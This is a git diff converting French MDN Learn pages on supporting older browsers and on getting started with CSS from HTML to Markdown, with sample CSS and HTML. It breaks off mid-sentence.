id="CSS_3">CSS</h4> -<pre class="brush: css">* { +#### CSS + +```css +* { box-sizing: border-box; } @@ -191,70 +211,68 @@ original_slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs width: auto; } } -</pre> +``` + +#### HTML -<h4 id="HTML_3">HTML</h4> -<pre class="brush: html"><div class="wrapper"> - <div class="item">Item One</div> - <div class="item">Item Two</div> - <div class="item">Item Three</div> -</div> -</pre> +```html +<div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +``` -<p>{{EmbedLiveSample('Example_3', '', '150')}}</p> +{{EmbedLiveSample('Example_3', '', '150')}} -<p>La prise en charge des requêtes de caractéristiques est très bonne dans les navigateurs modernes. Toutefois, vous devez noter que ce sont les navigateurs qui ne prennent pas en charge la grille CSS, qui ne prennent pas non plus en charge les requêtes de fonctionnalités. Cela signifie qu'une approche telle que celle décrite ci-dessus fonctionnera pour ces navigateurs. Ce que nous faisons, c'est écrire notre ancien CSS en premier, en dehors de toute requête de fonctionnalité. Les navigateurs qui ne prennent pas en charge la grille et la requête de fonctionnalité utiliseront les informations de mise en page qu'ils peuvent comprendre et ignoreront complètement tout le reste. Les navigateurs qui prennent en charge la requête de fonctionnalité prennent également en charge CSS Grid et exécuteront donc le code de la grille et le code contenu dans la requête de fonctionnalité.</p> +La prise en charge des requêtes de caractéristiques est très bonne dans les navigateurs modernes. Toutefois, vous devez noter que ce sont les navigateurs qui ne prennent pas en charge la grille CSS, qui ne prennent pas non plus en charge les requêtes de fonctionnalités. Cela signifie qu'une approche telle que celle décrite ci-dessus fonctionnera pour ces navigateurs. Ce que nous faisons, c'est écrire notre ancien CSS en premier, en dehors de toute requête de fonctionnalité. Les navigateurs qui ne prennent pas en charge la grille et la requête de fonctionnalité utiliseront les informations de mise en page qu'ils peuvent comprendre et ignoreront complètement tout le reste. Les navigateurs qui prennent en charge la requête de fonctionnalité prennent également en charge CSS Grid et exécuteront donc le code de la grille et le code contenu dans la requête de fonctionnalité. -<p>La spécification pour les requêtes de fonctionnalités contient également la possibilité de tester si un navigateur ne prend pas en charge une fonctionnalité — cela n'est utile que si le navigateur prend en charge les requêtes de fonctionnalités. À l'avenir, une approche consistant à vérifier l'absence de prise en charge fonctionnera, car les navigateurs qui ne prennent pas en charge les requêtes de caractéristiques disparaîtront. Pour l'instant, cependant, utilisez l'approche consistant à utiliser l'ancien CSS, puis à l'écraser, pour obtenir la meilleure prise en charge possible.</p> +La spécification pour les requêtes de fonctionnalités contient également la possibilité de tester si un navigateur ne prend pas en charge une fonctionnalité — cela n'est utile que si le navigateur prend en charge les requêtes de fonctionnalités. À l'avenir, une approche consistant à vérifier l'absence de prise en charge fonctionnera, car les navigateurs qui ne prennent pas en charge les requêtes de caractéristiques disparaîtront. Pour l'instant, cependant, utilisez l'approche consistant à utiliser l'ancien CSS, puis à l'écraser, pour obtenir la meilleure prise en charge possible. -<h2 id="Older_versions_of_Flexbox">Anciennes versions de Flexbox</h2> +## Anciennes versions de Flexbox -<p>Dans les anciennes versions des navigateurs, vous pouvez trouver des itérations précédentes de la spécification Flexbox. Au moment de la rédaction de cet article, il s'agit principalement d'un problème avec Internet Explorer 10, qui utilise le préfixe <code>-ms-</code> pour Flexbox. Cela signifie également qu'il existe des articles et des tutoriels dépassés ; <a href="https://css-tricks.com/old-flexbox-and-new-flexbox/">ce guide utile</a> vous aide à vérifier ce que vous regardez et peut également vous aider si vous avez besoin d'une prise en charge de Flexbox dans de très anciens navigateurs.</p> +Dans les anciennes versions des navigateurs, vous pouvez trouver des itérations précédentes de la spécification Flexbox. Au moment de la rédaction de cet article, il s'agit principalement d'un problème avec Internet Explorer 10, qui utilise le préfixe `-ms-` pour Flexbox. Cela signifie également qu'il existe des articles et des tutoriels dépassés ; [ce guide utile](https://css-tricks.com/old-flexbox-and-new-flexbox/) vous aide à vérifier ce que vous regardez et peut également vous aider si vous avez besoin d'une prise en charge de Flexbox dans de très anciens navigateurs. -<h2 id="The_IE10_and_11_prefixed_version_of_Grid">La version préfixée d'IE10 et 11 de Grid</h2> +## La version préfixée d'IE10 et 11 de Grid -<p>La spécification CSS Grid a été initialement prototypée dans Internet Explorer 10 ; cela signifie que si IE10 et IE11 ne disposent pas du support de la grille <em>moderne</em>, ils disposent d'une version de la mise en page Grid qui est très utilisable, bien que différente de la spécification moderne documentée sur ce site. Les implémentations d'IE10 et 11 sont préfixées <code>-ms-</code>, ce qui signifie que vous pouvez les utiliser pour ces navigateurs et qu'elles seront ignorées par les navigateurs non-Microsoft. Edge comprend toujours l'ancienne syntaxe, cependant, alors faites attention à ce que tout soit écrasé en toute sécurité dans votre grille CSS moderne.</p> +La spécification CSS Grid a été initialement prototypée dans Internet Explorer 10 ; cela signifie que si IE10 et IE11 ne disposent pas du support de la grille _moderne_, ils disposent d'une version de la mise en page Grid qui est très utilisable, bien que différente de la spécification moderne documentée sur ce site. Les implémentations d'IE10 et 11 sont préfixées `-ms-`, ce qui signifie que vous pouvez les utiliser pour ces navigateurs et qu'elles seront ignorées par les navigateurs non-Microsoft. Edge comprend toujours l'ancienne syntaxe, cependant, alors faites attention à ce que tout soit écrasé en toute sécurité dans votre grille CSS moderne. -<p>Le guide <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">Les grilles CSS et l'amélioration progressive</a> peut vous aider à comprendre la version IE de la grille, et nous avons inclus quelques liens utiles supplémentaires à la fin de cette leçon. Cependant, à moins que vous n'ayez un nombre très élevé de visiteurs dans des versions IE plus anciennes, il est préférable de vous concentrer sur la création d'une solution de substitution qui fonctionne pour tous les navigateurs non pris en charge.</p> +Le guide [Les grilles CSS et l'amélioration progressive](/fr/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement) peut vous aider à comprendre la version IE de la grille, et nous avons inclus quelques liens utiles supplémentaires à la fin de cette leçon. Cependant, à moins que vous n'ayez un nombre très élevé de visiteurs dans des versions IE plus anciennes, il est préférable de vous concentrer sur la création d'une solution de substitution qui fonctionne pour tous les navigateurs non pris en charge. -<h2 id="Testing_older_browsers">Test des anciens navigateurs</h2> +## Test des anciens navigateurs -<p>La majorité des navigateurs prenant en charge Flexbox et Grid, il peut être raisonnablement difficile de tester les navigateurs plus anciens. Une façon de procéder est d'utiliser un outil de test en ligne tel que Sauce Labs, comme détaillé dans le module <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">Test sur plusieurs navigateurs</a>.</p> +La majorité des navigateurs prenant en charge Flexbox et Grid, il peut être raisonnablement difficile de tester les navigateurs plus anciens. Une façon de procéder est d'utiliser un outil de test en ligne tel que Sauce Labs, comme détaillé dans le module [Test sur plusieurs navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing). -<p>Vous pouvez également télécharger et installer des machines virtuelles, et exécuter les anciennes versions des navigateurs dans un environnement confiné sur votre propre ordinateur. Avoir accès à d'anciennes versions d'Internet Explorer est particulièrement utile, et à cette fin, Microsoft a mis à disposition <a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">une gamme de machines virtuelles à télécharger gratuitement</a>. Celles-ci sont disponibles pour les systèmes d'exploitation Mac, Windows et Linux et constituent donc un excellent moyen de tester les navigateurs Windows anciens et modernes, même si vous n'utilisez pas d'ordinateur Windows.</p> +Vous pouvez également télécharger et installer des machines virtuelles, et exécuter les anciennes versions des navigateurs dans un environnement confiné sur votre propre ordinateur. Avoir accès à d'anciennes versions d'Internet Explorer est particulièrement utile, et à cette fin, Microsoft a mis à disposition [une gamme de machines virtuelles à télécharger gratuitement](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/). Celles-ci sont disponibles pour les systèmes d'exploitation Mac, Windows et Linux et constituent donc un excellent moyen de tester les navigateurs Windows anciens et modernes, même si vous n'utilisez pas d'ordinateur Windows. -<h2 id="Summary">Résumé</h2> +## Résumé -<p>Vous disposez désormais des connaissances nécessaires pour utiliser en toute confiance des techniques telles que les grilles CSS et Flexbox, créer des solutions de substitution pour les navigateurs plus anciens et utiliser toutes les nouvelles techniques qui pourraient apparaître à l'avenir.</p> +Vous disposez désormais des connaissances nécessaires pour utiliser en toute confiance des techniques telles que les grilles CSS et Flexbox, créer des solutions de substitution pour les navigateurs plus anciens et utiliser toutes les nouvelles techniques qui pourraient apparaître à l'avenir. -<h2 id="See_Also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">Utilisation des requêtes de fonctionnalités en CSS</a> <small>(en)</small></li> - <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Mises en page avancées avec les boîtes flexibles</a></li> - <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">Les grilles CSS et l'amélioration progressive</a></li> - <li><a href="https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/">Utilisation de la grille CSS : Prise en charge des navigateurs sans Grid</a> <small>(en)</small></li> - <li><a href="https://24ways.org/2012/css3-grid-layout/">Un tutoriel qui utilise la version IE10 et 11 de Grid</a> <small>(en)</small></li> - <li><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">Dois-je essayer d'utiliser la mise en œuvre de la grille dans IE10 ?</a> <small>(en)</small></li> - <li><a href="https://24ways.org/2017/cascading-web-design/">Conception Web en cascade avec les requêtes de fonctionnalités</a> <small>(en)</small></li> - <li><a href="https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/">Utilisation des requêtes de fonctionnalités (vidéo)</a> <small>(en)</small></li> -</ul> +- [Utilisation des requêtes de fonctionnalités en CSS](https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/) (en) +- [Mises en page avancées avec les boîtes flexibles](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox) +- [Les grilles CSS et l'amélioration progressive](/fr/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement) +- [Utilisation de la grille CSS : Prise en charge des navigateurs sans Grid](https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/) (en) +- [Un tutoriel qui utilise la version IE10 et 11 de Grid](https://24ways.org/2012/css3-grid-layout/) (en) +- [Dois-je essayer d'utiliser la mise en œuvre de la grille dans IE10 ?](https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/) (en) +- [Conception Web en cascade avec les requêtes de fonctionnalités](https://24ways.org/2017/cascading-web-design/) (en) +- [Utilisation des requêtes de fonctionnalités (vidéo)](https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/) (en) -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}} -<h2 id="In_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction à la mise en page en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Cours normal</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Les boîtes flottantes</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Le positionnement</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Disposition sur plusieurs colonnes</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Media_queries">Guide du débutant des Media Queries</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mises en page traditionnelles</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Prise en charge des anciens navigateurs</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Compréhension fondamentale de la mise en page</a></li> -</ul> +- [Introduction à la mise en page en CSS](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Cours normal](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Les boîtes flottantes](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Le positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Disposition sur plusieurs colonnes](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Responsive design](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) +- [Guide du débutant des Media Queries](/fr/docs/Learn/CSS/CSS_layout/Media_queries) +- [Méthodes de mises en page traditionnelles](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Prise en charge des anciens navigateurs](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Compréhension fondamentale de la mise en page](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/first_steps/getting_started/index.md b/files/fr/learn/css/first_steps/getting_started/index.md index 9bbccc2107..1bc1b5ff4e 100644 --- a/files/fr/learn/css/first_steps/getting_started/index.md +++ b/files/fr/learn/css/first_steps/getting_started/index.md @@ -11,256 +11,291 @@ tags: - Sélecteurs translation_of: Learn/CSS/First_steps/Getting_started --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}} -<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div> - -<p>Dans cet article nous vous montrons comment appliquer un style CSS à un document HTML simple. Vous apprendrez des choses pratiques concernant CSS.</p> +Dans cet article nous vous montrons comment appliquer un style CSS à un document HTML simple. Vous apprendrez des choses pratiques concernant CSS. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances élémentaires en informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">suite logicielle de base installée</a>, compréhension élémentaire du <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers"> travail avec des fichiers</a>, des bases en HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment associer une feuille de style CSS à un document HTML, savoir appliquer quelques règles simples de mise en forme d'un texte.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances élémentaires en informatique, <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >suite logicielle de base installée</a + >, compréhension élémentaire du <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + > travail avec des fichiers</a + >, des bases en HTML (cf. <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre comment associer une feuille de style CSS à un document HTML, + savoir appliquer quelques règles simples de mise en forme d'un texte. + </td> + </tr> + </tbody> </table> -<h2 id="Dabord_un_peu_de_HTML">D'abord un peu de HTML</h2> +## D'abord un peu de HTML -<p>Notre point de départ est un document HTML. Pour suivre la leçon en travaillant sur votre ordinateur, vous pouvez copier le code ci-dessous. Collez le dans un fichier en utilisant un éditeur de code, puis sauvegardez le sous le nom <code>index.html</code>.</p> +Notre point de départ est un document HTML. Pour suivre la leçon en travaillant sur votre ordinateur, vous pouvez copier le code ci-dessous. Collez le dans un fichier en utilisant un éditeur de code, puis sauvegardez le sous le nom `index.html`. -<pre class="brush: html"><!doctype html> -<html lang="fr"> -<head> - <meta charset="utf-8"> - <title>Démarrer avec CSS</title> -</head> +```html +<!doctype html> +<html lang="fr"> +<head> + <meta charset="utf-8"> + <title>Démarrer avec CSS</title> +</head> -<body> +<body> - <h1>Je suis un titre de niveau un</h1> + <h1>Je suis un titre de niveau un</h1> - <p>Ceci est un paragraphe. Dans ce texte il y a un <span>élément span</span> - et aussi un <a href="http://example.com">lien</a>.</p> + <p>Ceci est un paragraphe. Dans ce texte il y a un <span>élément span</span> + et aussi un <a href="http://example.com">lien</a>.</p> - <p>Ceci est un second paragraphe. On y trouve un élément <em>mis en valeur</em>.</p> + <p>Ceci est un second paragraphe. On y trouve un élément <em>mis en valeur</em>.</p> - <ul> - <li>Item un</li> - <li>Item deux</li> - <li>Item <em>trois</em></li> - </ul> + <ul> + <li>Item un</li> + <li>Item deux</li> + <li>Item <em>trois</em></li> + </ul> -</body> +</body> -</html> -</pre> +</html> +``` -<div class="note"> -<p><strong>Note :</strong> Si vous lisez cet article sur un appareil ou dans un environnement où il n'est pas aisé de créer des fichiers, pas de soucis — des éditeurs de code live sont proposés ci-dessous ; vous pourrez ainsi tester les exemples de code directement dans cette page.</p> -</div> +> **Note :** Si vous lisez cet article sur un appareil ou dans un environnement où il n'est pas aisé de créer des fichiers, pas de soucis — des éditeurs de code live sont proposés ci-dessous ; vous pourrez ainsi tester les exemples de code directement dans cette page. -<h2 id="Ajouter_CSS_à_notre_document">Ajouter CSS à notre document</h2> +## Ajouter CSS à notre document -<p>Pour commencer, on doit signaler au document HTML que nous souhaitons utiliser des règles CSS. Vous rencontrerez trois possibilités pour appliquer CSS à un document HTML. Nous nous contenterons de présenter la méthode la plus utilisée — créer un lien vers la feuille de style CSS depuis l'en-tête du document HTML.</p> +Pour commencer, on doit signaler au document HTML que nous souhaitons utiliser des règles CSS. Vous rencontrerez trois possibilités pour appliquer CSS à un document HTML. Nous nous contenterons de présenter la méthode la plus utilisée — créer un lien vers la feuille de style CSS depuis l'en-tête du document HTML. -<p>Avec votre éditeur de code, dans le dossier où se trouve le document HTML, créez un fichier et sauvegardez le sous le nom <code>styles.css</code>. L'extension <code>.css</code> indique que c'est un fichier CSS.</p> +Avec votre éditeur de code, dans le dossier où se trouve le document HTML, créez un fichier et sauvegardez le sous le nom `styles.css`. L'extension `.css` indique que c'est un fichier CSS. -<p>Pour lier <code>styles.css</code> à <code>index.html</code> ajoutez la ligne suivante dans la section {{htmlelement("head")}} du document HTML :</p> +Pour lier `styles.css` à `index.html` ajoutez la ligne suivante dans la section {{htmlelement("head")}} du document HTML : -<pre class="brush: html"><link rel="stylesheet" href="styles.css"></pre> +```html +<link rel="stylesheet" href="styles.css"> +``` -<p>Cet élément {{htmlelement("link")}} indique au navigateur la présence d'une feuille de style, grâce à l'attribut <code>rel</code> ; la valeur de l'attribut <code>href</code> donne la localisation du fichier CSS. Pour tester que le lien fonctionne, nous allons définir une règle dans <code>styles.css</code>. Grâce à votre éditeur de code, ajoutez les lignes suivantes à la feuille de style CSS :</p> +Cet élément {{htmlelement("link")}} indique au navigateur la présence d'une feuille de style, grâce à l'attribut `rel` ; la valeur de l'attribut `href` donne la localisation du fichier CSS. Pour tester que le lien fonctionne, nous allons définir une règle dans `styles.css`. Grâce à votre éditeur de code, ajoutez les lignes suivantes à la feuille de style CSS : -<pre class="brush: css">h1 { +```css +h1 { color: red; -}</pre> +} +``` -<p>Dans votre éditeur de code, sauvegardez vos documents HTML et CSS puis rechargez la page HTML dans votre navigateur. Le titre de niveau un en haut du document devrait maintenant apparaître en rouge. Si c'est le cas, félicitations — vous avez appliqué avec succès une règle CSS à votre document HTML. Si ce n'est pas le cas, vérifiez scrupuleusement que vous avez tout bien fait comme indiqué.</p> +Dans votre éditeur de code, sauvegardez vos documents HTML et CSS puis rechargez la page HTML dans votre navigateur. Le titre de niveau un en haut du document devrait maintenant apparaître en rouge. Si c'est le cas, félicitations — vous avez appliqué avec succès une règle CSS à votre document HTML. Si ce n'est pas le cas, vérifiez scrupuleusement que vous avez tout bien fait comme indiqué. -<p>Pour suivre le reste de ce tutoriel, vous pouvez continuer à éditer <code>styles.css</code> sur votre machine, ou utiliser l'éditeur interactif proposé ci-dessous. L'éditeur interactif se comporte comme si le CSS dans le premier cadre était lié au document HTML, exactement comme sur votre machine après les manipulations précédentes.</p> +Pour suivre le reste de ce tutoriel, vous pouvez continuer à éditer `styles.css` sur votre machine, ou utiliser l'éditeur interactif proposé ci-dessous. L'éditeur interactif se comporte comme si le CSS dans le premier cadre était lié au document HTML, exactement comme sur votre machine après les manipulations précédentes. -<h2 id="Mettre_en_forme_des_éléments_HTML">Mettre en forme des éléments HTML</h2> +## Mettre en forme des éléments HTML -<p>En passant la couleur de police des titres en rouge nous avons vu comment sélectionner et mettre en forme un élément HTML.</p> +En passant la couleur de police des titres en rouge nous avons vu comment sélectionner et mettre en forme un élément HTML. -<p>Cela est réalisé grâce à un sélecteur d'élément — dans la règle CSS, le sélecteur correspond au nom d'un élément HTML. Pour appliquer un style à tous les paragraphes du document HTML on utilisera le sélecteur <code>p</code>. Voilà la règle pour passer en vert tous les paragraphes :</p> +Cela est réalisé grâce à un sélecteur d'élément — dans la règle CSS, le sélecteur correspond au nom d'un élément HTML. Pour appliquer un style à tous les paragraphes du document HTML on utilisera le sélecteur `p`. Voilà la règle pour passer en vert tous les paragraphes : -<pre class="brush: css">p { +```css +p { color: green; -}</pre> +} +``` -<p>On peut cibler plusieurs éléments d'un coup en les listant, séparés par une virgule. Si je veux que tous les paragraphes et tous les items de liste soient verts j'écrirai la règle suivante :</p> +On peut cibler plusieurs éléments d'un coup en les listant, séparés par une virgule. Si je veux que tous les paragraphes et tous les items de liste soient verts j'écrirai la règle suivante : -<pre class="brush: css">p, li { +```css +p, li { color: green; -}</pre> +} +``` -<p>Testez cela dans l'éditeur interacif ci-dessous (éditer les boîtes de code) ou sur votre machine en local.</p> +Testez cela dans l'éditeur interacif ci-dessous (éditer les boîtes de code) ou sur votre machine en local. -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p> +{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} -<h2 id="Changer_le_comportement_par_défaut_des_éléments">Changer le comportement par défaut des éléments</h2> +## Changer le comportement par défaut des éléments -<p>Quand on observe un document HTML bien formé, même simple comme notre exemple, on peut voir comment un navigateur le rend lisible par une mise en forme par défaut. Les titres sont écrits en gras dans une taille plus grande, les items des listes sont précédés d'une puce. Les navigateurs ont leurs feuilles de style internes qu'ils appliquent par défaut à toutes les pages ; sans cela, tout le texte s'agglutinerait en paquet et il faudrait tout mettre en forme à partir de zéro. Tous les navigateurs modernes rendent les contenus HTML par défaut essentiellement de la même manière.</p> +Quand on observe un document HTML bien formé, même simple comme notre exemple, on peut voir comment un navigateur le rend lisible par une mise en forme par défaut. Les titres sont écrits en gras dans une taille plus grande, les items des listes sont précédés d'une puce. Les navigateurs ont leurs feuilles de style internes qu'ils appliquent par défaut à toutes les pages ; sans cela, tout le texte s'agglutinerait en paquet et il faudrait tout mettre en forme à partir de zéro. Tous les navigateurs modernes rendent les contenus HTML par défaut essentiellement de la même manière. -<p>On recherche pourtant souvent autre chose que ce rendu par défaut. Il suffit alors de sélectionner l'élément HTML dont on veut modifier le rendu et d'écrire la règle CSS pour réaliser cette mise en forme. Un bon exemple est notre <code><ul></code>, une liste non ordonnée. Ses items sont marqués par des puces et si on décide de se débarrasser de ces puces, on peut le faire comme suit :</p> +On recherche pourtant souvent autre chose que ce rendu par défaut. Il suffit alors de sélectionner l'élément HTML dont on veut modifier le rendu et d'écrire la règle CSS pour réaliser cette mise en forme. Un bon exemple est notre `<ul>`, une liste non ordonnée. Ses items sont marqués par des puces et si on décide de se débarrasser de ces puces, on peut le faire comme suit : -<pre class="brush: css">li { +```css +li { list-style-type: none; -}</pre> +} +``` -<p>Ajoutez cette règle dans votre CSS et testez en l'effet.</p> +Ajoutez cette règle dans votre CSS et testez en l'effet. -<p>Cherchez maintenant sur MDN quelles sont les valeurs possibles pour la propriété <code>list-style-type</code>. Dans la page pour <code><a href="/fr/docs/Web/CSS/list-style-type">list-style-type</a></code> vous trouverez un exemple interactif en haut de page, vous pourrez tester quelques valeurs ; toutes les valeurs autorisées sont détaillées dans le reste de la page.</p> +Cherchez maintenant sur MDN quelles sont les valeurs possibles pour la propriété `list-style-type`. Dans la page pour [`list-style-type`](/fr/docs/Web/CSS/list-style-type) vous trouverez un exemple interactif en haut de page, vous pourrez tester quelques valeurs ; toutes les valeurs autorisées sont détaillées dans le reste de la page. -<p>En parcourant la page de documentation, vous découvrirez qu'au lieu de supprimer les puces, vous pouvez en changer l'aspect — essayez la valeur <code>square</code> pour obtenir des puces carrées.</p> +En parcourant la page de documentation, vous découvrirez qu'au lieu de supprimer les puces, vous pouvez en changer l'aspect — essayez la valeur `square` pour obtenir des puces carrées. -<h2 id="Ajouter_une_classe">Ajouter une classe</h2> +## Ajouter une classe -<p>Jusqu'ici, nous avons mis en forme des éléments HTML repérés par leur nom de balise. Cela fonctionne tant que vous voulez appliquer le même style à tous les éléments de ce type dans le document. La plupart du temps ce n'est pas le comportement désiré ; il faut donc trouver une méthode pour sélectionner un sous-ensemble des éléments à mettre en forme sans changer l'apparence des autres éléments du même type. L'approche la plus commune pour obtenir ce comportement est d'ajouter une classe (pensez à une étiquette) aux éléments HTML à mettre en forme puis de sélectionner cette classe.</p> +Jusqu'ici, nous avons mis en forme des éléments HTML repérés par leur nom de balise. Cela fonctionne tant que vous voulez appliquer le même style à tous les éléments de ce type dans le document. La plupart du temps ce n'est pas le comportement désiré ; il faut donc trouver une méthode pour sélectionner un sous-ensemble des éléments à mettre en forme sans changer l'apparence des autres éléments du même type. L'approche la plus commune pour obtenir ce comportement est d'ajouter une classe (pensez à une étiquette) aux éléments HTML à mettre en forme puis de sélectionner cette classe. -<p>Dans le document HTML, ajouter un <a href="/fr/docs/Web/HTML/Attributs_universels/class">attribut class</a> au deuxième item de la liste :</p> +Dans le document HTML, ajouter un [attribut class](/fr/docs/Web/HTML/Attributs_universels/class) au deuxième item de la liste : -<pre class="brush: html"><ul> - <li>Item un</li> - <li <strong>class="special"</strong>>Item deux</li> - <li>Item <em>trois</em></li> -</ul></pre> +```html +<ul> + <li>Item un</li> + <li class="special">Item deux</li> + <li>Item <em>trois</em></li> +</ul> +``` -<p>Dans votre CSS vous pouvez maintenant cibler la classe <code>special</code> grâce à un sélecteur fait du nom de la classe précédé d'un point. Ajoutez le code suivant à votre feuille de style :</p> +Dans votre CSS vous pouvez maintenant cibler la classe `special` grâce à un sélecteur fait du nom de la classe précédé d'un point. Ajoutez le code suivant à votre feuille de style : -<pre class="brush: css">.special { +```css +.special { color: orange; font-weight: bold; -}</pre> +} +``` -<p>Sauvegardez et rechargez la page HTML dans votre navigateur pour observer le résultat.</p> +Sauvegardez et rechargez la page HTML dans votre navigateur pour observer le résultat. -<p>Vous pouvez attribuer la classe <code>special</code> à tout élément dans votre document HTML, dans le navigateur il sera rendu comme le deuxième item de la liste. Par exemple, vous pourriez appliquer ce style à l'élément <code><span></code> du premier paragraphe.</p> +Vous pouvez attribuer la classe `special` à tout élément dans votre document HTML, dans le navigateur il sera rendu comme le deuxième item de la liste. Par exemple, vous pourriez appliquer ce style à l'élément `<span>` du premier paragraphe. -<p>Vous verrez parfois des règles avec un sélecteur qui combine le nom de l'élément HTML avec celui de la classe :</p> +Vous verrez parfois des règles avec un sélecteur qui combine le nom de l'élément HTML avec celui de la classe : -<pre class="brush: css">li.special { +```css +li.special { color: orange; font-weight: bold; -}</pre> +} +``` -<p>Cette syntaxe signifie "s'applique à tous les éléments <code>li</code> dont l'attribut <code>class</code> a la valeur <code>special</code><em> </em>". Cette règle ne s'applique alors plus à l'élément <code><span></code> ou à tout autre élément dont l'attribut <code>class</code> a la valeur <code>special</code><em> </em>mais<em> </em>qui n'est pas un <code><li>.</code> Pour que la règle s'applique aussi au <code><span></code> il faudrait l'ajouter dans la liste des sélecteurs :</p> +Cette syntaxe signifie "s'applique à tous les éléments `li` dont l'attribut `class` a la valeur `special`\* *". Cette règle ne s'applique alors plus à l'élément `<span>` ou à tout autre élément dont l'attribut `class` a la valeur `special`* *mais* \*qui n'est pas un `<li>.` Pour que la règle s'applique aussi au `<span>` il faudrait l'ajouter dans la liste des sélecteurs : -<pre class="brush: css">li.special, +```css +li.special, span.special { color: orange; font-weight: bold; -}</pre> +} +``` -<p>Comme vous pouvez bien l'imaginer, certaines classes s'appliquent à un grand nombre d'éléments et il n'est pas pensable de devoir éditer la feuille de style à chaque modification du document HTML. Les sélecteurs composé du nom de l'élément suivi de celui de la classe sont donc plutôt réservés aux situations où la règle ne s'applique qu'à un élément unique.</p> +Comme vous pouvez bien l'imaginer, certaines classes s'appliquent à un grand nombre d'éléments et il n'est pas pensable de devoir éditer la feuille de style à chaque modification du document HTML. Les sélecteurs composé du nom de l'élément suivi de celui de la classe sont donc plutôt réservés aux situations où la règle ne s'applique qu'à un élément unique. -<h2 id="Style_en_fonction_de_la_position">Style en fonction de la position</h2> +## Style en fonction de la position -<p>Il y a des situations où vous voudrez que le style d'un élément s'adapte en fonction de sa position dans le document. De nombreux sélecteurs permettent de réaliser ce type de comportement, voyons les 